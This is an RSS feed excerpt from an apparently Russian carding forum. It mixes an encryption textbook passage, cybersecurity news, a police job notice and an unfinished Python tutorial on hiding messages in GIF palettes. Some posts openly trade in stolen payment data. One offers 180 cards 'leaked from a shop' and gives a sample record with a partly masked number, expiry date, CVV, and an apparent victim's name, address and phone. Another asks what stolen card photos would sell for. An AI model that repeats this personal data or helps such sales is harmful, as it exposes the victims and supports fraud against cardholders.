						&lt;p&gt;При комбинированном шифровании работа с ключами вед тся раздельно: сетевые администраторы отвечают за ключи, используемые при канальном шифровании, а о ключах, применяемых при сквозном шифровании, заботятся сами пользователи.&lt;/p&gt;
						&lt;p&gt;Шифрование файлов&lt;/p&gt;
						&lt;p&gt;На первый взгляд шифрование файлов можно полностью уподобить шифрованию сообщений, отправителем и получателем которых является одно лицо, а средой передачи служит одно из компьютерных устройств хранения данных (магнитный или оптический диск, магнитная лента, оперативная память). Однако вс не так просто, как кажется на первый взгляд.&lt;/p&gt;
						&lt;p&gt;При передаче по коммуникационным каналам сообщение не имеет большой ценности. Если оно затеряется по пути от отправителя к получателю, его можно попытаться передать снова. При шифровании данных, предназначенных для хранения в виде компьютерных файлов, дела обстоят совершенно иначе. Если вы не в состоянии расшифровать свой файл, вам вряд ли удастся сделать это и со второй, и с третьей, и даже с сотой попытки. Ваши данные будут потеряны раз и навсегда. Это означает, что при шифровании файлов необходимо предусмотреть специальные механизмы для предотвращения возникновения ошибок в шифртексте.&lt;/p&gt;
						&lt;p&gt;Криптография помогает превратить большие секреты в маленькие. Вместо того чтобы безуспешно пытаться запомнить содержимое огромного файла, человеку достаточно его зашифровать и сохранить в памяти использованный для этой цели ключ. Если ключ применяется для шифрования сообщения, то его требуется иметь под рукой лишь до тех пор, пока сообщение не дойд т до своего адресата и не будет им успешно расшифровано. В отличие от сообщений, шифрованные файлы могут хранится годами, и в течение всего этого времени необходимо помнить и держать в секрете соответствующий ключ.&lt;/p&gt;
						&lt;p&gt;Есть и другие особенности шифрования файлов, о которых необходимо помнить вне зависимости от криптографического алгоритма, применяемого для этой цели:&lt;/p&gt;
						&lt;p&gt;- нередко после шифрования файла его незашифрованная копия благополучно забыва тся на другом магнитном диске, на другом компьютере или в виде распечатки, сделанной на принтере;&lt;/p&gt;
						&lt;p&gt;- размер блока в блочном алгоритме шифрования может значительно превышать размер отдельной порции данных в структурированном файле, в результате чего итоговая длина зашифрованного файла окажется намного больше, чем длина исходного файла;&lt;/p&gt;
						&lt;p&gt;- скорость шифрования файлов при помощи выбранного для этой цели криптографического алгоритма должна соответствовать скоростям, на которых работают устройства ввода/вывода современных компьютеров;&lt;/p&gt;
						&lt;p&gt;- работа с ключами является довольно непростым делом, поскольку разные пользователи обычно должны иметь доступ не только к различным файлам, но и к отдельным частям одного и того же файла.&lt;/p&gt;
						&lt;p&gt;Если файл представляет собой единое целое (например, содержит отрезок текста), восстановление этого файла в исходном виде не потребует больших усилий: перед использованием достаточно будет просто расшифровать весь файл. Однако если файл структурирован (например, раздел н на записи и поля, как это делается в базах данных), то расшифровывание всего файла целиком всякий раз, когда необходимо осуществить доступ к отдельной порции данных, сделает работу с таким файлом чрезвычайно неэффективной. А при индивидуальном шифровании порций данных в структурированном файле сделает его уязвимым по отношению к атаке, при которой злоумышленник отыскивает в этом файле нужную порцию данных и заменяет е на другую по своему усмотрению.&lt;/p&gt;
						&lt;p&gt;У пользователя, который хочет зашифровать каждый файл, размещ нный на ж стком диске компьютера, имеются две возможности. Если он использует один ключ для шифрования всех файлов, то впоследствии окажется не в состоянии разграничить доступ к отдельным файлам со стороны других пользователей. Кроме того, в результате у криптоаналитика будет значительное количество шифртекста, полученного на одном ключе, что существенно облегчит ему вскрытие этого ключа.&lt;/p&gt;
						&lt;p&gt;Лучше шифровать каждый файл на отдельном ключе, а затем зашифровать все ключи при помощи мастер-ключа. Тем самым пользователи будут избавлены от суеты, связанной с организацией над жного хранения большого числа ключей. Разграничение доступа групп пользователей к различным файлам будет осуществляться пут м деления множества всех ключей на подмножества и шифрования этих подмножеств на различных мастер-ключах. Стойкость такой криптосистемы будет значительно выше, чем в случае использования единого ключа для шифрования всех файлов на ж стком диске, поскольку ключи, применяемые для шифрования файлов, можно сделать более случайными и, следовательно, более стойкими против словарной атаки.&lt;/p&gt;
						&lt;p&gt;[i]Аппаратное и программное шифрование&lt;/p&gt;
						&lt;p&gt;Аппаратное шифрование&lt;/p&gt;
						&lt;p&gt;Большинство средств криптографической защиты данных реализовано в виде специализированных аппаратных устройств. Эти устройства встраиваются в линию связи и осуществляют шифрование всей передаваемой по ней информации. Преобладание аппаратного шифрования над программным обусловлено несколькими причинами.&lt;/p&gt;
						&lt;p&gt;Во-первых, аппаратное шифрование обладает большей скоростью. Криптографические алгоритмы состоят из огромного числа сложных операций, выполняемых над битами открытого текста. Современные универсальные компьютеры плохо приспособлены для эффективного выполнения этих операций. Специализированное оборудование умеет делать их гораздо быстрее.&lt;/p&gt;
						&lt;p&gt;Во-вторых, аппаратуру легче физически защитить от проникновения извне. Программа, выполняемая на персональном компьютере, практически беззащитна. Вооружившись отладчиком, злоумышленник может скрытно внести в не изменения, чтобы понизить стойкость используемого криптографического алгоритма, и никто ничего не заметит. Что же касается аппаратуры, то она обычно помещается в особые контейнеры, которые делают невозможным изменение схемы е функционирования. Чип покрывается сверху специальным химическим составом, и в результате любая попытка преодолеть защитный слой этого чипа приводит к самоуничтожению его внутренней логической структуры. И хотя иногда электромагнитное излучение может служить хорошим источником информации о том, что происходит внутри микросхемы, от этого излучения легко избавиться, заэкранировав микросхему. Аналогичным образом можно заэкранировать и компьютер, однако сделать это гораздо сложнее, чем в случае миниатюрной микросхемы.&lt;/p&gt;
						&lt;p&gt;И в-третьих, аппаратура шифрования более проста в установке. Очень часто шифрование требуется там, где дополнительное компьютерное оборудование является совершенно излишним. Телефоны, факсимильные аппараты и модемы значительно дешевле оборудовать устройствами аппаратного шифрования, чем встраивать в них микрокомпьютеры с соответствующим программным обеспечением.&lt;/p&gt;
						&lt;p&gt;Даже в компьютерах установка специализированного шифровального оборудования созда т меньше проблем, чем модернизация системного программного обеспечения с целью добавления в него функций шифрования данных. В идеале шифрование должно осуществляться незаметно для пользователя. Чтобы добиться этого при помощи программных средств, шифрование должно быть упрятано глубоко в недра операционной системы. С готовой и отлаженной операционной системой безболезненно проделать это не так-то просто. Но даже любой непрофессионал сможет подсоединить шифровальный блок с одной стороны к персональному компьютеру и к внешнему модему с другой.&lt;/p&gt;
						&lt;p&gt;Современный рынок аппаратных средств шифрования информации предлагает потенциальным покупателям три разновидности таких средств - самодостаточные шифровальные модули (они самостоятельно выполняют всю работу с ключами), блоки шифрования в каналах связи и шифровальные платы расширения для установки в персональные компьютеры. Большинство устройств первого и второго типа являются узко специализированными, и поэтому, прежде чем принимать окончательное и бесповоротное решение об их приобретении, необходимо досконально изучить ограничения, которые при установке накладывают эти устройства на соответствующее &amp;quot;железо&amp;quot;, операционные системы и прикладное программное обеспечение. А иначе можно выбросить деньги на ветер, ни на йоту не приблизившись к желанной цели. Правда, иногда выбор облегчается тем, что некоторые компании торгуют коммуникационным оборудованием, которое уже имеет в сво м составе предустановленную аппаратуру шифрования данных.&lt;/p&gt;
						&lt;p&gt;Платы расширения для персональных компьютеров являются более универсальным средством аппаратного шифрования и обычно могут быть легко сконфигурированы таким образом, чтобы шифровать всю информацию, которая записывается на ж сткий диск компьютера, а также все данные, пересылаемые на его гибкий диск и в последовательные порты. Как правило, защита от электромагнитного излучения в шифровальных платах расширения отсутствует, поскольку нет смысла защищать эти платы, если аналогичные меры не предпринимаются в отношении всего компьютера в целом.&lt;/p&gt;
						&lt;p&gt;Программное шифрование&lt;/p&gt;
						&lt;p&gt;Любой криптографический алгоритм может быть реализован в виде соответствующей программы. Преимущества такой реализации очевидны: программные средства шифрования легко копируются, они просты в использовании, их нетрудно модифицировать в соответствии с конкретными потребностями.&lt;/p&gt;
						&lt;p&gt;Во всех распростран нных операционных системах имеются встроенные средства шифрования файлов. Обычно они предназначены для шифрования отдельных файлов, и работа с ключами целиком возлагается на пользователя. Поэтому применение этих средств требует особого внимания: во-первых, ни в коем случае нельзя хранить ключи на диске вместе с зашифрованными с их помощью файлами, а во-вторых, незашифрованные копии файлов необходимо стереть сразу же после шифрования.&lt;/p&gt;
						&lt;p&gt;Конечно, злоумышленник может добраться до компьютера и незаметно внести нежелательные изменения в программу шифрования. Однако основная проблема состоит отнюдь не в этом. Если злоумышленник в состоянии проникнуть в помещение, где установлен компьютер, он вряд ли будет возиться с программой, а просто установит скрытую камеру в стене, подслушивающее устройство в телефон или датчик для ретрансляции электромагнитного излучения в компьютер. В конце концов, если злоумышленник может беспрепятственно вс это сделать, сражение с ним уже проиграно, даже не начавшись.&lt;/p&gt;
						&lt;p&gt;Сжатие и шифрование&lt;/p&gt;
						&lt;p&gt;Алгоритмы сжатия данных очень хорошо подходят для совместного использования с криптографическими алгоритмами. На это есть две причины:&lt;/p&gt;
						&lt;p&gt;- При вскрытии шифра криптоаналитик более всего полагается на избыточность, свойственную любому открытому тексту. Сжатие помогает избавиться от этой избыточности.&lt;/p&gt;
						&lt;p&gt;- Шифрование данных является весьма трудо мкой операцией. При сжатии уменьшается длина открытого текста, и тем самым сокращается время, которое будет потрачено на его шифрование.&lt;/p&gt;
						&lt;p&gt;Надо только не забыть сжать файл до того, как он будет зашифрован, а не после. После шифрования файла при помощи качественного криптографического алгоритма полученный шифртекст сжать не удастся, поскольку его характеристики будут близки к характеристикам совершенно случайного набора букв. Кстати, сжатие может служить своеобразным тестом для проверки качества криптографического алгоритма: если шифртекст подда тся сжатию, значит этот алгоритм лучше заменить на более совершенный.&lt;/p&gt;
						&lt;p&gt;Как спрятать один шифртекст в другом&lt;/p&gt;
						&lt;p&gt;Предположим, что две гипотетические личности по имени Антон и Борис несколько месяцев обменивались шифрованными сообщениями. Контрразведка перехватила все эти сообщения, но так и не смогла прочесть ни единого слова. Контрразведчикам надоело коллекционировать переписку Антона и Бориса, не зная е содержания, и они решили арестовать подозрительную парочку. Первый же допрос начался словами: &amp;quot;Где ключи к шифру?&amp;quot;. &amp;quot;К какому такому шифру?!&amp;quot; - в один голос воскликнули Антон и Борис, но тут же осеклись и побледнели, заметив на столе у следователя зловещего вида клещи, покрытые пятнами то ли ржавчины, то ли крови.&lt;/p&gt;
						&lt;p&gt;Антон и Борис смогли бы выкрутится из создавшегося положения, если бы шифровали каждое сво сообщение так, чтобы оно допускало два различных расшифрования в зависимости от используемого ключа. Сво настоящее секретное сообщение Борису Антон мог бы зашифровать на одном ключе, а вполне невинный открытый текст - на другом. Теперь, если от Антона потребуют ключ к шифру, он отдаст подставной ключ, который позволит прочесть совершенно невинное сообщение, а ключ от настоящего сообщения сохранит в тайне.&lt;/p&gt;
						&lt;p&gt;Самый простой способ сделать это потребует использования одноразового блокнота. Пусть P - настоящий открытый текст, D - невинный открытый текст, C - шифрованный текст, K - настоящий ключ, а - подставной ключ. Антон шифрует P:&lt;/p&gt;
						&lt;p&gt;P A K = C&lt;/p&gt;
						&lt;p&gt;Поскольку у Бориса имеется копия ключа K, он может без проблем расшифровать сообщение Антона:&lt;/p&gt;
						&lt;p&gt;C A K = P&lt;/p&gt;
						&lt;p&gt;Если контрразведчики попытаются заставить Антона и Бориса выдать используемый ими ключ, вместо K они могут сообщить в контрразведку:&lt;/p&gt;
						&lt;p&gt;K = C A D&lt;/p&gt;
						&lt;p&gt;В результате контрразведчики смогут прочитать невинный открытый текст:&lt;/p&gt;
						&lt;p&gt;C A K = D&lt;/p&gt;
						&lt;p&gt;Так как Антон и Борис пользуются одноразовым блокнотом, то K является полностью случайным и доказать, что является подставным ключом, практически невозможно (не прибегая к пыткам).&lt;/p&gt;
						&lt;p&gt;Антон мог бы зашифровать P не с помощью одноразового блокнота, а пользуясь любым из своих самых любимых криптографических алгоритмов и ключом K. Сложив C с отрезком какого-либо общеизвестного произведения (например, с отрывком из второй главы &amp;quot;Идиота&amp;quot; Достоевского) по модулю 2, Антон получит K . Теперь если к Антону пристанут &amp;quot;дяденьки&amp;quot; из контрразведки, он предъявит им C вместе с K и скажет, что K - это одноразовый блокнот для C и что он просто захотел попрактиковаться в криптографии, зашифровав для этой цели отрывок из первой попавшейся книги. И пока контрразведчики не получат в сво распоряжение ключ K, доказать, что Антон занимался чем-то противозаконным, они не смогут.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Alex25)</author>
			<pubDate>Sat, 11 Feb 2017 17:00:29 +0300</pubDate>
			<guid>https://carton.forum.cool/viewtopic.php?pid=30#p30</guid>
		</item>
		<item>
			<title>Банки против хакеров: ЦБ может создать институт защиты от взломов</title>
			<link>https://carton.forum.cool/viewtopic.php?pid=29#p29</link>
			<description>&lt;div class=&quot;quote-box quote-main&quot;&gt;&lt;blockquote&gt;&lt;p&gt;Преступление в том, что вместо выполнения своих обязанностей, все силы бросаются на создание ещё одного института, который впоследствии также отклонится от всего, ради достижения одной цели, это опять плодить ещё один чиновничий институт&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;Дети чиновников растут,ну не на завод же их. Вот и приходиться устраивать. Забота о детях это свято. Чего же тут удивительного?&lt;/p&gt;</description>
			<author>mybb@mybb.ru (FedorDobr)</author>
			<pubDate>Fri, 10 Feb 2017 23:00:24 +0300</pubDate>
			<guid>https://carton.forum.cool/viewtopic.php?pid=29#p29</guid>
		</item>
		<item>
			<title>США и Израиль объединят усилия в борьбе против кибератак хакеров</title>
			<link>https://carton.forum.cool/viewtopic.php?pid=25#p25</link>
			<description>&lt;p&gt;&lt;a href=&quot;http://uploads.ru/Uprqi.jpg&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img class=&quot;postimg&quot; loading=&quot;lazy&quot; src=&quot;https://sf.uploads.ru/t/Uprqi.jpg&quot; alt=&quot;http://sf.uploads.ru/t/Uprqi.jpg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;В рамках борьбы с хакерами США намерены объединиться с Израилем, который начал активно продвигать идею школьного и дошкольного образования в области кибербезопасности. Зачем стране настолько молодые специалисты и какая цель у детских «киберлагерей» — в материале «Газеты.Ru».&lt;/p&gt;
						&lt;p&gt;В конгресс США был внесен законопроект, согласно которому американские власти и Израиль объединят усилия в борьбе с киберугрозами. В случае его принятия министерство внутренней безопасности на протяжении семи лет будет спонсировать ведущих специалистов обеих стран, которые будут разрабатывать разные средства защиты от хакеров.&lt;/p&gt;
						&lt;p&gt;Инициатором законопроекта выступил член нижней палаты конгресса демократ Джеймс Лэнджевин. «Кибербезопасность — основа национальной и экономической безопасности. Соединенные Штаты и Израиль должны работать вместе, чтобы внедрять инновационные решения по борьбе с угрозами, с которыми мы сталкиваемся онлайн», — заявил конгрессмен.&lt;/p&gt;
						&lt;p&gt;Сначала алфавит, потом кодинг&lt;/p&gt;
						&lt;p&gt;В попытке стать мировым лидером в области кибербезопасности и технологий Израиль делает ставку на подрастающее поколение.&lt;/p&gt;
						&lt;p&gt;В некоторых израильских школах четвероклассники изучают программирование, а одаренные молодые люди 16 лет посещают внеклассные занятия, на которых изучают тактику шифрования, кодирование, а также методы противодействия хакерским атакам.&lt;/p&gt;
						&lt;p&gt;В стране даже появилось два детских сада, в которых преподают компьютерную грамотность и основы робототехники. &lt;/p&gt;
						&lt;p&gt;Такие программы обучения свидетельствуют о том, что Израиль решил заняться воспитанием будущих программистов еще на стадии дошкольного образования.&lt;/p&gt;
						&lt;p&gt;Эту же цель будет преследовать Национальный центр киберобразования (НЦК), который займется формированием пула талантливой молодежи. Впоследствии они продолжат свою карьеру в военной разведке, хай-тек-индустрии или станут учеными.&lt;/p&gt;
						&lt;p&gt;Читать полностью:&lt;br /&gt;&lt;a href=&quot;https://www.gazeta.ru/tech/2017/02/09/10516895/hacker_babies.shtml&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;https://www.gazeta.ru/tech/2017/02/09/1 &amp;#8230; bies.shtml&lt;/a&gt;&lt;/p&gt;</description>
			<author>mybb@mybb.ru (GrantGarant)</author>
			<pubDate>Fri, 10 Feb 2017 22:51:58 +0300</pubDate>
			<guid>https://carton.forum.cool/viewtopic.php?pid=25#p25</guid>
		</item>
		<item>
			<title>Обход Антифрода</title>
			<link>https://carton.forum.cool/viewtopic.php?pid=24#p24</link>
			<description>&lt;p&gt;Годнота&lt;/p&gt;</description>
			<author>mybb@mybb.ru (FedorDobr)</author>
			<pubDate>Fri, 10 Feb 2017 19:23:52 +0300</pubDate>
			<guid>https://carton.forum.cool/viewtopic.php?pid=24#p24</guid>
		</item>
		<item>
			<title>Міністерство внутрішніх справ України оголошує конкурс</title>
			<link>https://carton.forum.cool/viewtopic.php?pid=21#p21</link>
			<description>&lt;p&gt;Міністерство внутрішніх справ України оголошує конкурс на заміщення вакантних посад інспекторів та спецагентів інформаційних технологій&lt;br /&gt;ОБОВ’ЯЗКИ ІНСПЕКТОРІВ ТА СПЕЦАГЕНТІВ:&lt;br /&gt;Отримання, аналіз та використання інформації з відкритих джерел&lt;br /&gt;Надання допомоги в режимі реального часу потерпілим від дій:&lt;br /&gt;&amp;#160; &amp;#160;- порушувачів авторського права;&lt;br /&gt;&amp;#160; &amp;#160;- кардерів;&lt;br /&gt;&amp;#160; &amp;#160;- викрадачів приватних даних;&lt;br /&gt;&amp;#160; &amp;#160;- онлайн-шахраїв;&lt;br /&gt;&amp;#160; &amp;#160;- розповсюджувачів забороненого контенту.&lt;br /&gt;Протидія поширенню інформації терористичного характеру в&lt;br /&gt;українському сегменті мережі&amp;#160; Інтернет&lt;br /&gt;Протидія злочинам у сфері інформаційної безпеки&lt;br /&gt;Протидія порушенням встановленого порядку маршрутизації&lt;br /&gt;телефонного трафіку&lt;br /&gt;Обмін інформацією з іноземними партнерами за допомогою&lt;br /&gt;Національного контактного пункту&lt;br /&gt;Что интересно из этого получиться?!))&lt;/p&gt;</description>
			<author>mybb@mybb.ru (DoradO_o)</author>
			<pubDate>Fri, 10 Feb 2017 19:20:04 +0300</pubDate>
			<guid>https://carton.forum.cool/viewtopic.php?pid=21#p21</guid>
		</item>
		<item>
			<title>Поможем детям вместе!</title>
			<link>https://carton.forum.cool/viewtopic.php?pid=20#p20</link>
			<description>&lt;p&gt;Всегда так делаю, + в карму&amp;#160; :cool:&lt;/p&gt;</description>
			<author>mybb@mybb.ru (DoradO_o)</author>
			<pubDate>Fri, 10 Feb 2017 19:18:56 +0300</pubDate>
			<guid>https://carton.forum.cool/viewtopic.php?pid=20#p20</guid>
		</item>
		<item>
			<title>Срочно продам базу</title>
			<link>https://carton.forum.cool/viewtopic.php?pid=19#p19</link>
			<description>&lt;p&gt;Срочно продам базу 180 шт, 150ЮСА, 30Европа.Выборочно отчекана сегодня, высокий валид.Слито с жирного шопа.Работаю через гаранта.&lt;br /&gt;Прошу 150$, возможен торг&lt;br /&gt;База в таком формате:&lt;br /&gt;542966**********|10|2018|798|UNITED STATES|Jeremy Thompson/612 Marr Dr|Signal Mtn|TN|37377|423-718-4943|&lt;br /&gt;Связь только в ЛС&lt;/p&gt;</description>
			<author>mybb@mybb.ru (DoradO_o)</author>
			<pubDate>Fri, 10 Feb 2017 19:16:30 +0300</pubDate>
			<guid>https://carton.forum.cool/viewtopic.php?pid=19#p19</guid>
		</item>
		<item>
			<title>Селфи станет паролем для кредитных карт компании MasterCard</title>
			<link>https://carton.forum.cool/viewtopic.php?pid=17#p17</link>
			<description>&lt;div class=&quot;quote-box answer-box&quot;&gt;&lt;cite&gt;FedorDobr написал(а):&lt;/cite&gt;&lt;blockquote&gt;&lt;p&gt;Интересная тема, думаю еще лет 5 мы этого не увидем&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;Не знаю, не знаю. В нашем мире возможно все, может быть уже на следующий год мы увидим это технологию и в СНГ&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Ванька)</author>
			<pubDate>Fri, 10 Feb 2017 19:08:02 +0300</pubDate>
			<guid>https://carton.forum.cool/viewtopic.php?pid=17#p17</guid>
		</item>
		<item>
			<title>amazon с 5 картами валид</title>
			<link>https://carton.forum.cool/viewtopic.php?pid=14#p14</link>
			<description>&lt;p&gt;ашол почту с фотками карт а этот тип&amp;#160; пендос их в почте оставил. и на них подключен амазон за сколько можно это все продать?&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Ванька)</author>
			<pubDate>Fri, 10 Feb 2017 18:56:12 +0300</pubDate>
			<guid>https://carton.forum.cool/viewtopic.php?pid=14#p14</guid>
		</item>
		<item>
			<title>Прячемся в палитре</title>
			<link>https://carton.forum.cool/viewtopic.php?pid=12#p12</link>
			<description>&lt;p&gt;Недавно нас окатило волной громких скандалов, разразившихся словно гром среди ясного неба, одним из самых громких среди них было раскрытие программы PRISM.&lt;br /&gt;Итак, давайте представим такую ситуацию: есть два человека, которые хотят обмениваться сообщениями с секретной информацией, есть люди, желающие заполучить эту информацию. Одним из самых разумных решений данной проблемы может стать обмен сообщениями через открытые источники с использованием стеганографии.&lt;br /&gt;Например, пользователь1 оставляет на форуме смищную гифку с милым котэ, в недрах которой скрывается какое-то тайное послание. Для человеческого глаза, скорей всего, будет незаметно легкое искажение цветов, которое вполне можно списать на низкое качество картинки, а вот пользователь2, обладающий специальной программой и ключем без проблем получит из картинки информацию.&lt;br /&gt;[Intro]&amp;#8203;&lt;br /&gt;Для начала давайте поговорим о теории.&lt;br /&gt;Стеганография, которой посвящена данная статья, это, по сути, искуство сокрытия информации от посторонних глаз.&lt;br /&gt;Существует множество разных способов спрятать данные на виду, мы же прибегнем к модифицированному LSB(Least Significant Bit, наименьший значащий бит, подробнее о нем можно почитать в Википедии, скажу лишь, что данные при таком подходе прячутся в последние значащие биты, таким образом очень слабо влияя на значения байтов): будем менять 4 наименее значащих бита. Да, это намного более значительные изменения, но как показывает практика, изменение в значении цвета на 15(из 255 возможных) пунктов легко пропустить, не имея оригинала, что бы сравнить.&lt;br /&gt;Вот кстати пример:&lt;br /&gt;--&lt;br /&gt;одно из этих изображений оригинал, другое копия с небольшим посланием.&lt;br /&gt;[Кодим]&amp;#8203;&lt;br /&gt;Я буду писать на питоне, этот язык понятен почти всем, даже тем, кто его не знает. Код писался и тестировался под python3, как будет работать под второй веткой неизвестно.&lt;br /&gt;Для начала можно ознакомиться с описанием формата вот тут Там все очень кратко, но достаточно полезно для понимания кода. Суть нашего кода будет предельно простой: зашифровать сообщение(максимальная длинна 384 байта) и положить его в главную палитру файла.&lt;br /&gt;В формате используются битовые поля, но в питоне, как оказалось, нет стандартной из реализации, поэтому пришлось городить свой костыль:&lt;/p&gt;&lt;div class=&quot;quote-box spoiler-box&quot;&gt;&lt;div onclick=&quot;$(this).toggleClass(&#039;visible&#039;); $(this).next().toggleClass(&#039;visible&#039;);&quot;&gt;Текст&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;class BitArray:&lt;br /&gt;&amp;#160; &amp;#160; def __init__(self, val=None, length=0):&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; bits=[]&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; if type(val) is int:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; while(val!=0):&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; if val&amp;amp;1:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; bits+=[1]&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; else:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; bits+=[0]&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; val&amp;gt;&amp;gt;=1&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; elif type(val) is list:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; bits=list(val)&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; if bits==[]:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; bits=[0]&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; if length!=0:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; if length&amp;gt;=len(bits):&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; bits=bits+[0]*(length-len(bits))&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; else:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; raise Exception(&amp;quot;val too long&amp;quot;)&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; self._val=bits&lt;br /&gt;&amp;#160; &amp;#160; #индексатор, возвращающий объект BitArray&lt;br /&gt;&amp;#160; &amp;#160; def __getitem__(self, item):&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; return self.__class__(self._val[item])&lt;br /&gt;&amp;#160; &amp;#160; #длинна в битах&lt;br /&gt;&amp;#160; &amp;#160; def __len__(self):&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; return len(self._val)&lt;br /&gt;&amp;#160; &amp;#160; #исключительно для отладки, наглядное представление объекта для интерактивного режима&lt;br /&gt;&amp;#160; &amp;#160; def __repr__(self):&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; bits=self._val&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; bits.reverse()&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; return str(self.__class__)+&amp;quot; Bits: &amp;quot;+&amp;quot;&amp;quot;.join(str(x) for x in bits)+&amp;quot;; val: &amp;quot;+str(int(self))&lt;br /&gt;&amp;#160; &amp;#160; #приведение к int&lt;br /&gt;&amp;#160; &amp;#160; def __int__(self):&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; res=0&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; for i in range(len(self._val)):&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; res|=self._val[i]&amp;lt;&amp;lt;i&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; return res&lt;br /&gt;&amp;#160; &amp;#160; &lt;br /&gt;&amp;#160; &amp;#160; def __add__(self, ba):&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; self._val+=ba._val&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; return self&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;Поскольку писать универсальный массив не хотелось, в классе только необходимый для конкретно этого проекта функционал, ничего лишнего.&lt;br /&gt;Теперь давайте опишем такой же минималистичный класс для работы с gif-файлом:&lt;/p&gt;&lt;div class=&quot;quote-box spoiler-box&quot;&gt;&lt;div onclick=&quot;$(this).toggleClass(&#039;visible&#039;); $(this).next().toggleClass(&#039;visible&#039;);&quot;&gt;текст&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;class Gif:&lt;br /&gt;&amp;#160; &amp;#160; #http://www.onicos.com/staff/iz/formats/gif.html&lt;br /&gt;&amp;#160; &amp;#160; def __init__(self, data):&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; self._header=data[:6]&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; self._info=data[6:12]&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; info=BitArray(self._info[4])&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; if int(info[0])!=1:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; raise Exception(&amp;quot;This file haven&#039;t global pallet&amp;quot;)&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; tblsize=2**(1+int(info[5:]))&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; pallet=data[12:12+tblsize*3]&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; self._data=data[12+tblsize*3:]#все, с чем не умеем работать храним в неизменном виде&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; self._pallet=pallet&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;br /&gt;&amp;#160; &amp;#160; def putData(self, data):&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; data=list(data)&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; maxlen=len(self._pallet)*.5 #максимальная длинна данных, которые вместит файл&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; data=list(len(data).to_bytes(2,&amp;quot;little&amp;quot;))+data #добвляем в начало длинну данных&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; 